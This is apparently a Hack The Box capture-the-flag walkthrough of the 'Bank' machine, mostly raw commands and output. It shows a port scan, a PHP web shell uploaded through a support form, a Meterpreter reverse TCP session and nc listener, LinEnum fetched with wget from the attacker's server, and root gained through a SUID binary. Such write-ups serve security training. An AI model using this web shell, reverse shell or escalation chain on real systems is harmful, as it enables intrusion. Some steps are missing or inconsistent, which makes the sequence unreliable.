```
[]$ nmap -Pn -T4 -A -v 10.129.75.155
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


HTB machines usually have the domain name <box>.htb
so add :

[ balance-transfer

upload it via the form


msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.90
msf exploit(multi/handler) set lport 1234
msf exploit(multi/handler) exploit

then browse to the uploaded file to execute the script:
http://bank.htb/uploads/shell.htb

[*] Started reverse TCP handler on 10.10.14.90:1234
[*] Sending stage (38288 bytes) to 10.129.75.155
[*] Meterpreter session 9 opened (10.10.14.90:1234 -> 10.129.75.155:53644) at 2021-
01-05 15:34:13 +0000

meterpreter > sysinfo
Computer    : bank
OS          : Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52
UTC 2017 i686
Meterpreter : php/linux
meterpreter > pwd
/var/www/bank/uploads
meterpreter > getuid
Server username: www-data (33)
meterpreter > cd /home
meterpreter > ls
Listing: /home
==============

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40755/rwxr-xr-x  4096  dir   2017-06-14 15:21:31 +0000  chris
```

```
meterpreter > cd chris
meterpreter > ls
Listing: /home/chris
====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  2     fil   2017-06-15 06:50:32 +0000  .bash_history
100644/rw-r--r--  220   fil   2017-05-28 19:13:11 +0000  .bash_logout
100644/rw-r--r--  3637  fil   2017-05-28 19:13:11 +0000  .bashrc
40700/rwx------   4096  dir   2017-05-28 19:14:35 +0000  .cache
100644/rw-r--r--  675   fil   2017-05-28 19:13:11 +0000  .profile
100444/r--r--r--  33    fil   2021-01-05 14:50:22 +0000  user.txt

meterpreter > cat user.txt
4b40af1dabef********************


now go for root

Create a malicious PHP file
<?php echo (system($_GET['go'])); ?>
and save it with .htb as the extension.

Upload it using the web form at http://bank.htb/support.php

set a listener

[]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.90] from (UNKNOWN) [10.129.76.153] 40234
whoami
www-data
pwd
/var/www/bank/uploads
ls

[]$ python -m SimpleHTTPServer 7777
Serving HTTP on 0.0.0.0 port 7777 ...
10.10.14.90 - - [07/Jan/2021 17:31:54] "GET / HTTP/1.1" 200 -
10.129.76.153 - - [07/Jan/2021 17:34:54] "GET /linenum.htb HTTP/1.1" 200 -


download linux enumeration script from the attacker machine :

wget http://10.10.14.90:7777/linenum.sh
chmod +x linenum.sh
./linenum.sh

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982

[-] Debug Info
[+] Thorough tests = Disabled
```

```
Scan started at:
Thu Jan  7 20:08:17 EET 2021


### SYSTEM ##############################################
[-] Kernel information:
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686
athlon i686 GNU/Linux


[-] Kernel information (continued):
Linux version 4.4.0-79-generic (buildd@lcy01-30) (gcc version 4.8.4 (Ubuntu 4.8.4-
2ubuntu1~14.04.3) ) #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017


[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.5 LTS"
NAME="Ubuntu"
VERSION="14.04.5 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.5 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"


[-] Hostname:
bank


[-] SUID files:
-rwsr-xr-x 1 root root 112204 Jun 14  2017 /var/htb/bin/emergency
-rwsr-xr-x 1 root root 5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 492972 Aug 11  2016 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 333952 Dec  7  2016 /usr/lib/dbus-1.0/dbus-daemon-
launch-helper
-rwsr-xr-x 1 root root 9808 Nov 24  2015 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 daemon daemon 46652 Oct 21  2013 /usr/bin/at
-rwsr-xr-x 1 root root 35916 May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45420 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 44620 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 18168 Nov 24  2015 /usr/bin/pkexec
-rwsr-xr-x 1 root root 30984 May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 18136 May  8  2014 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 66284 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 156708 May 29  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 72860 Oct 21  2013 /usr/bin/mtr
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24  2016 /usr/sbin/uuidd
-rwsr-xr-- 1 root dip 323000 Apr 21  2015 /usr/sbin/pppd
-rwsr-xr-x 1 root root 38932 May  8  2014 /bin/ping
-rwsr-xr-x 1 root root 43316 May  8  2014 /bin/ping6
```

```
-rwsr-xr-x 1 root root 35300 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 30112 May 15  2015 /bin/fusermount
-rwsr-xr-x 1 root root 88752 Nov 24  2016 /bin/mount
-rwsr-xr-x 1 root root 67704 Nov 24  2016 /bin/umount


### SCAN COMPLETE ####################################

!!!!!!!!see linenum-report for full report



First thing on the SUID list is /var/htb/bin/emergency

[-] SUID files:
-rwsr-xr-x 1 root root 112204 Jun 14  2017 /var/htb/bin/emergency

let's get a semi-interactive pty with :
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@bank:/var/www/bank/uploads$ pwd
pwd
/var/www/bank/uploads
cd /var/htb/bin
www-data@bank:/var/htb/bin$ ls
ls
emergency
www-data@bank:/var/htb/bin$ ./emergency
./emergency
#cd /root
cd /root
# ls
ls
root.txt
# cat root.txt
cat root.txt
f6c626d33054********************
#
```